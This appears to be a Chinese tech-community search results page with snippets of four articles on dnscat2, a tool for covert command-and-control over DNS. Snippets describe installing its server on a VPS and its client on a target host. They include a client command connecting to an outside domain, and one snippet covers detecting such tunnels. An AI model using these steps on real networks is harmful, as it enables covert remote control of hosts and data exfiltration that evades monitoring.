首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    内网转发及隐蔽隧道 | 使用DNS进行命令控制(dnscat2)

    dnscat2 dnscat2是一款开源软件,使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份验证;使用Shell及DNS查询类型(TXT、MX、CNAME、A、AAAA),多个同时进行的会话类似于...dnscat2的客户端是有Windows版和Linux版,服务端是用Ruby语言编写的。严格的说,dnscat2是一个命令与控制工具。 使用dnscat2隧道的模式有两种,分别是直连模式和中继模式。...如果目标内网的请求仅限于白名单服务器或指定的域,dnscat2会使用中继模式来申请一个域名,并将运行dnscat2服务端的服务器指定为受信任的DNS服务器。...dnscat2通过DNS进行控制并执行命令。...(3):在目标主机上安装dnscat2客户端 dnscat2客户端是用C语言编写的,因此在使用前需要先进行编译。

    4K10

    通过DNS隧道进行C&C通信

    什么时候可以用到 DNScat2?目标只能DNS出网的时候可以用到DNScat2....dnscat2是一个开源软件,下载地址:https://github.com/iagox86/dnscat2 它使用DNS协议创建加密的C&C通道,严格来讲它是一个命令与控制工具。...二、安装dnscat2服务端 在 VPS 服务器上安装dnscat2服务器端(ubuntu服务器),因为服务端是用ruby语言编写的,所以需要配置ruby环境 sudo apt-get install...三:客户端下载安装dnscat2 客户端Windows下载的话是:https://downloads.skullsecurity.org/dnscat2/ 下载地址:https://downloads.skullsecurity.org...具体过程中 dnscat2 客户端经过了互联网的dns服务器,然后再连接到我们的dns服务器,所以这就是中继模式。

    2.3K41

    DNS 隧道通信特征与检测

    4Dnscat2 Dnscat2的定位是一个封装在DNS协议中加密的命令与控制(C&C)信道。它同样是C/S架构,Client位于感染主机,而Server位于权威域名服务器上。...4.1 Dnscat2 建立隧道流程 Dnscat2服务端的是交互模式,作者说采用这种设计是受metasploit和meteprete的启发。...4.2 Dnscat2 数据包分析 通过抓包分析一下 随机找一个数据包,查看它的请求包 再查看下queries字段 可以看到dnscat2加密后的域名开头有...通过数据包可以发现,dnscat2通过加密的手段隐蔽了CC服务器的域名。隐蔽性做的更好。 三、检测DNS隧道木马 将通过3个通信行为分析DNS隧道木马会话。...3域名固定部分不变 在DNS隧道的报文中,我们可以看到 变化的都是子域名 但是Dnscat2,根域名也加密了并且一直变化,但是有一个显著的标志。

    3.6K20

    一文读懂DNS隧道

    (但是感觉很卡)  三.dnscat2 DNS隧道搭建  (1)直连模式: 客户端直接向指定IP地址的DNS服务器发起DNS解析请求 1.服务端 公网服务器做服务端 ruby dnscat2.rb...no-cache -c 123.com -e:指定安全级别,open表示服务端运行客户端不进行加密 -c:指定密钥 --no-cache:禁止缓存,一定添加该选项,因为powershell-dnscat2客户端域dnscat2...服务端的Caching模式不兼容 2.客户端 kali作为客户端 dnscat --secret=123.com ns.woshishui120.ga 使用dnscat2搭建dns隧道,搭建成功之后...五.工具利用环境  1.外->内 iodine和dnscat2使用环境:目标是内网,并且只有dns出网的情况下,通过自己的公网服务器搭建到目标的dns隧道,从而通过公网服务器代理进入目标内网,遨游目标内网

    3.1K10
    领券